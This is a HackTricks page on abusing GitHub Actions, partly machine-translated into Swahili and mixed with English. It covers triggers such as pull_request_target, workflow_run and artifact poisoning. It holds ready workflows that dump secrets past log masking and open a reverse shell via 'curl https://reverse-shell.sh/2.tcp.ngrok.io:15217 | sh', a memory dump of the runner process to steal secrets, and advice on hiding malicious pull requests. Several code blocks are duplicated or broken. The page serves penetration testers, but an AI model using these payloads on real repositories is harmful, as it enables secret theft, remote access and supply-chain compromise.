Abusing Github Actions

Support HackTricks

Basic Information

In this page you will find:

  • A summary of all the impacts of an attacker managing to access a Github Action

  • Different ways to get access to an action:

  • Having permissions to create the action

  • Abusing pull request related triggers

  • Abusing other external access techniques

  • Pivoting from an already compromised repo

  • Finally, a section about post-exploitation techniques to abuse an action from inside (cause the mentioned impacts)

Impacts Summary

For an introduction about Github Actions check the basic information.

In case you can execute arbitrary Github actions/inject code in a repository, you could be able to:

  • Kuhifadhi siri kutoka kwa repo/organization hiyo.

  • Ikiwa unaweza tu kuingiza, unaweza kuhifadhi chochote kilichopo tayari katika workflow.

  • Abuse repo privileges kupata ufikiaji wa majukwaa mengine kama AWS na GCP.

  • Execute code in custom workers (if custom workers are used) and try to pivot from there.

  • Overwrite repository code.

  • This depends on the privileges of the GITHUB_TOKEN (if any).

  • Compromise deployments and other artifacts.

  • Ikiwa code inapeleka au kuhifadhi kitu unaweza kubadilisha hicho na kupata ufikiaji zaidi.

GITHUB_TOKEN

Hii "siri" (inayotoka ${{ secrets.GITHUB_TOKEN }} na ${{ github.token }}) inatolewa wakati admin anapowezesha chaguo hili:

Huu token ni sawa na ile Github Application itakayotumia, hivyo inaweza kufikia endpoints sawa: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github should release a flow that allows cross-repository access within GitHub, so a repo can access other internal repos using the GITHUB_TOKEN.

You can see the possible permissions of this token in: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Note that the token expires after the job has completed. These tokens looks like this: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Some interesting things you can do with this token:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

Kumbuka kwamba katika matukio kadhaa utaweza kupata tokens za mtumiaji wa github ndani ya mazingira ya Github Actions au katika siri. Tokens hizi zinaweza kukupa mamlaka zaidi juu ya hifadhi na shirika.

Orodha ya siri katika matokeo ya Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Pata shell ya kinyume na siri

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Inawezekana kuangalia ruhusa zilizotolewa kwa Github Token katika hifadhi za watumiaji wengine kwa kuangalia kumbukumbu za vitendo:

Utekelezaji Ulioidhinishwa

Hii itakuwa njia rahisi zaidi ya kuathiri vitendo vya Github, kwani kesi hii inadhani kuwa una ufikiaji wa kuunda hifadhi mpya katika shirika, au una haki za kuandika juu ya hifadhi.

Ikiwa uko katika hali hii unaweza tu kuangalia Mbinu za Baada ya Utekelezaji.

Utekelezaji kutoka kwa Uundaji wa Hifadhi

Katika kesi ambapo wanachama wa shirika wanaweza kuunda hifadhi mpya na unaweza kutekeleza vitendo vya github, unaweza kuunda hifadhi mpya na kuiba siri zilizowekwa katika kiwango cha shirika.

Utekelezaji kutoka kwa Tawi Jipya

Ikiwa unaweza kuunda tawi jipya katika hifadhi ambayo tayari ina Github Action iliyowekwa, unaweza kubadilisha hiyo, kupakia maudhui, na kisha kutekeleza kitendo hicho kutoka kwa tawi jipya. Kwa njia hii unaweza kuondoa siri za hifadhi na shirika (lakini unahitaji kujua zinaitwaje).

Unaweza kufanya kitendo kilichobadilishwa kiwe cha kutekelezeka kwa mikono, wakati PR inaundwa au wakati kodi fulani inasukumwa (kulingana na jinsi unavyotaka kuwa na kelele):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

Kuna vichocheo tofauti ambavyo vinaweza kumruhusu mshambuliaji kufanya kazi ya Github ya hifadhi nyingine. Ikiwa vitendo hivyo vinavyoweza kuchochewa havijakamilika vizuri, mshambuliaji anaweza kuwa na uwezo wa kuathiri.

pull_request

Vichocheo vya kazi pull_request vitatekeleza kazi kila wakati ombi la kuvuta linapopokelewa na baadhi ya visingizio: kwa kawaida ikiwa ni mara ya kwanza unapo shirikiana, baadhi ya wasimamizi watahitaji kuthibitisha kuendesha kazi hiyo:

Kama kikomo cha kawaida ni kwa watoaji wa mara ya kwanza, unaweza kuchangia kurekebisha hitilafu halali/typo na kisha kutuma PR nyingine ili kutumia haki zako mpya za pull_request.

Nilijaribu hii na haifanyi kazi: Chaguo lingine lingekuwa kuunda akaunti kwa jina la mtu ambaye alichangia kwenye mradi na kufuta akaunti yake.

Zaidi ya hayo, kwa kawaida inazuia ruhusa za kuandika na ufikiaji wa siri kwa hifadhi lengwa kama ilivyoelezwa katika docs:

Kwa kuzingatia GITHUB_TOKEN, siri hazipitishwi kwa mchezaji wakati kazi inachochewa kutoka hifadhi iliyoforked. GITHUB_TOKEN ina ruhusa za kusoma tu katika ombi la kuvuta kutoka hifadhi zilizoforked.

Mshambuliaji anaweza kubadilisha ufafanuzi wa Github Action ili kutekeleza mambo yasiyo ya kawaida na kuongeza vitendo vya kawaida. Hata hivyo, hataweza kuiba siri au kufuta repo kwa sababu ya vikwazo vilivyotajwa.

Ndio, ikiwa mshambuliaji atabadilisha katika PR kazi ya github ambayo itachochewa, kazi yake ya Github itakuwa ndiyo itakayotumika na si ile kutoka kwa repo ya asili!

Kwa kuwa mshambuliaji pia anadhibiti msimbo unaotekelezwa, hata kama hakuna siri au ruhusa za kuandika kwenye GITHUB_TOKEN, mshambuliaji anaweza kwa mfano kupakia vitu vya uharibifu.

pull_request_target

Vichocheo vya kazi pull_request_target vina ruhusa za kuandika kwa hifadhi lengwa na ufikiaji wa siri (na havitaki ruhusa).

Kumbuka kwamba vichocheo vya kazi pull_request_target vinakimbia katika muktadha wa msingi na si katika ile iliyotolewa na PR (ili kutoendesha msimbo usioaminika). Kwa maelezo zaidi kuhusu pull_request_target angalia docs. Zaidi ya hayo, kwa maelezo zaidi kuhusu matumizi haya hatari maalum angalia hii blogu ya github.

Inaweza kuonekana kuwa kwa sababu kazi inayotekelezwa ni ile iliyofafanuliwa katika msingi na siyo katika PR ni salama kutumia pull_request_target, lakini kuna mifano michache ambapo si salama.

Na hii itakuwa na ufikiaji wa siri.

workflow_run

Vichocheo vya workflow_run vinaruhusu kuendesha kazi kutoka nyingine wakati inakamilika, inahitajika au inaendelea.

Katika mfano huu, kazi imewekwa ili kuendesha baada ya kazi tofauti "Run Tests" kukamilika:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: The workflow started by the workflow_run event is able to access secrets and write tokens, even if the previous workflow was not.

This kind of workflow could be attacked if it's depending on a workflow that can be triggered by an external user via pull_request or pull_request_target. A couple of vulnerable examples can be found this blog. The first one consist on the workflow_run triggered workflow downloading out the attackers code: ${{ github.event.pull_request.head.sha }} The second one consist on passing an artifact from the untrusted code to the workflow_run workflow and using the content of this artifact in a way that makes it vulnerable to RCE.

workflow_call

TODO

TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR

Abusing Forked Execution

We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:

Untrusted checkout execution

In the case of pull_request, the workflow is going to be executed in the context of the PR (so it'll execute the malicious PRs code), but someone needs to authorize it first and it will run with some limitations.

In case of a workflow using pull_request_target or workflow_run that depends on a workflow that can be triggered from pull_request_target or pull_request the code from the original repo will be executed, so the attacker cannot control the executed code.

However, if the action has an explicit PR checkout that will get the code from the PR (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

The potentially untrusted code is being run during npm install or npm build as the build scripts and referenced packages are controlled by the author of the PR.

A github dork to search for vulnerable actions is: event.pull_request pull_request_target extension:yml however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).

Context Script Injections

Note that there are certain github contexts whose values are controlled by the user creating the PR. If the github action is using that data to execute anything, it could lead to arbitrary code execution:

GITHUB_ENV Script Injection

From the docs: You can make an environment variable available to any subsequent steps in a workflow job by defining or updating the environment variable and writing this to the GITHUB_ENV environment file.

If an attacker could inject any value inside this env variable, he could inject env variables that could execute code in following steps such as LD_PRELOAD or NODE_OPTIONS.

For example (this and this), imagine a workflow that is trusting an uploaded artifact to store its content inside GITHUB_ENV env variable. An attacker could upload something like this to compromise it:

Vulnerable Third Party Github Actions

As mentioned in this blog post, this Github Action allows to access artifacts from different workflows and even repositories.

The thing problem is that if the path parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.

Example of vulnerable workflow:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Hii inaweza kushambuliwa kwa kutumia mchakato huu:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Mtu Mwingine wa Nje

Utekaji wa Repo ya Namespace Iliyofutwa

Ikiwa akaunti inabadilisha jina lake, mtumiaji mwingine anaweza kujiandikisha kwa jina hilo baada ya muda fulani. Ikiwa hazina ilikuwa na nyota chini ya 100 kabla ya kubadilisha jina, Github itaruhusu mtumiaji mpya aliyejiandikisha kwa jina hilo kuunda hazina yenye jina sawa na ile iliyofutwa.

Hivyo basi, ikiwa hatua inatumia hazina kutoka kwa akaunti isiyokuwepo, bado inawezekana kwamba mshambuliaji anaweza kuunda akaunti hiyo na kuathiri hatua hiyo.

Ikiwa hazina nyingine zilikuwa zikitumika kutegemea kutoka kwa hazina za mtumiaji huyu, mshambuliaji ataweza kuzikamata. Hapa kuna maelezo kamili zaidi: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Kugeuza Repo

Katika sehemu hii tutazungumzia mbinu ambazo zitaruhusu kugeuza kutoka hazina moja hadi nyingine tukidhani tuna aina fulani ya ufikiaji kwenye ya kwanza (angalia sehemu iliyopita).

Upoison wa Cache

Cache inahifadhiwa kati ya mifumo ya kazi katika tawi moja. Hii ina maana kwamba ikiwa mshambuliaji ataathiri kifurushi ambacho kisha kinahifadhiwa kwenye cache na kupakuliwa na kutekelezwa na mifumo ya kazi yenye mamlaka zaidi, ataweza pia kuathiri mfumo huo wa kazi.

Upoison wa Kazi

Mifumo ya kazi inaweza kutumia kazi kutoka mifumo mingine ya kazi na hata hazina, ikiwa mshambuliaji atafanikiwa kuathiri Github Action inay pakia kazi ambayo baadaye inatumika na mfumo mwingine wa kazi, anaweza kuathiri mifumo mingine ya kazi:


Baada ya Kutekeleza kutoka kwa Hatua

Kufikia AWS na GCP kupitia OIDC

Angalia kurasa zifuatazo:

Kufikia siri

Ikiwa unatia maudhui kwenye script, ni muhimu kujua jinsi ya kufikia siri:

  • Ikiwa siri au token imewekwa kwenye kigezo cha mazingira, inaweza kufikiwa moja kwa moja kupitia mazingira kwa kutumia printenv.

Orodha ya siri katika matokeo ya Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Pata shell ya kinyume na siri</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Ikiwa siri inatumika moja kwa moja katika muktadha, skripti ya shell iliyotengenezwa inahifadhiwa kwenye diski na inapatikana.

cat /home/runner/work/_temp/*

* Kwa hatua za JavaScript, siri zinatumwa kupitia mabadiliko ya mazingira.
* ```bash
ps axe | grep node
  • Kwa hatua maalum, hatari inaweza kutofautiana kulingana na jinsi programu inavyotumia siri iliyoipata kutoka kwa hoja:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Kutumia Runners za Kujihifadhi

Njia ya kupata ni zipi Github Actions zinafanywa katika miundombinu isiyo ya github ni kutafuta runs-on: self-hosted katika usanidi wa yaml wa Github Action.

Runners za kujihifadhi zinaweza kuwa na ufikiaji wa habari nyeti zaidi, kwa mifumo mingine ya mtandao (nukta dhaifu katika mtandao? huduma ya metadata?) au, hata kama imejengwa na kuharibiwa, hatua zaidi ya moja zinaweza kufanywa kwa wakati mmoja na ile mbaya inaweza kuiba siri za nyingine.

Katika runners za kujihifadhi pia inawezekana kupata siri kutoka kwa _Runner.Listener_** mchakato** ambao utakuwa na siri zote za kazi katika hatua yoyote kwa kutupa kumbukumbu yake:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Check this post for more information.

Github Docker Images Registry

Inawezekana kuunda Github actions ambazo zitajenga na kuhifadhi picha ya Docker ndani ya Github. Mfano unaweza kupatikana katika ifuatayo inayoweza kupanuliwa:

Github Action Build & Push Docker Image

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Kama unavyoona katika msimbo uliopita, usajili wa Github unapatikana katika **`ghcr.io`**.

Mtumiaji mwenye ruhusa za kusoma juu ya repo ataweza kupakua Picha ya Docker akitumia tokeni ya ufikiaji wa kibinafsi:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Then, the user could search for leaked secrets in the Docker image layers:

Sensitive info in Github Actions logs

Hata kama Github inajaribu kubaini thamani za siri katika rekodi za hatua na kuepuka kuonyesha hizo, data nyeti nyingine ambazo zinaweza kuwa zimeundwa katika utekelezaji wa hatua hiyo hazitafichwa. Kwa mfano, JWT iliyosainiwa kwa thamani ya siri haitafichwa isipokuwa imewekwa maalum.

Covering your Tracks

(Technique from here) Kwanza kabisa, PR yoyote iliyoinuliwa inaonekana wazi kwa umma katika Github na kwa akaunti ya lengo ya GitHub. Katika GitHub kwa kawaida, hatuwezi kufuta PR ya mtandao, lakini kuna mabadiliko. Kwa akaunti za Github ambazo zime simamishwa na Github, PR zao zote zinafuta moja kwa moja na kuondolewa kutoka mtandao. Hivyo ili kuficha shughuli zako unahitaji ama kupata akaunti yako ya GitHub isimamishwe au kupata akaunti yako iwe na alama. Hii it ficha shughuli zako zote kwenye GitHub kutoka mtandao (kimsingi kuondoa PR zako zote za unyanyasaji)

Shirika katika GitHub lina ufanisi mkubwa katika kuripoti akaunti kwa GitHub. Unachohitaji kufanya ni kushiriki "mambo fulani" katika Issue na watakikisha akaunti yako imesimamishwa ndani ya masaa 12 :p na hapo umepata, umefanya unyanyasaji wako usionekane kwenye github.

Njia pekee kwa shirika kugundua kuwa wamekuwa wakilengwa ni kuangalia rekodi za GitHub kutoka SIEM kwani kutoka UI ya GitHub PR itakuwa imeondolewa.

Tools

Zana zifuatazo ni muhimu kupata Github Action workflows na hata kupata zile zenye udhaifu:

Last updated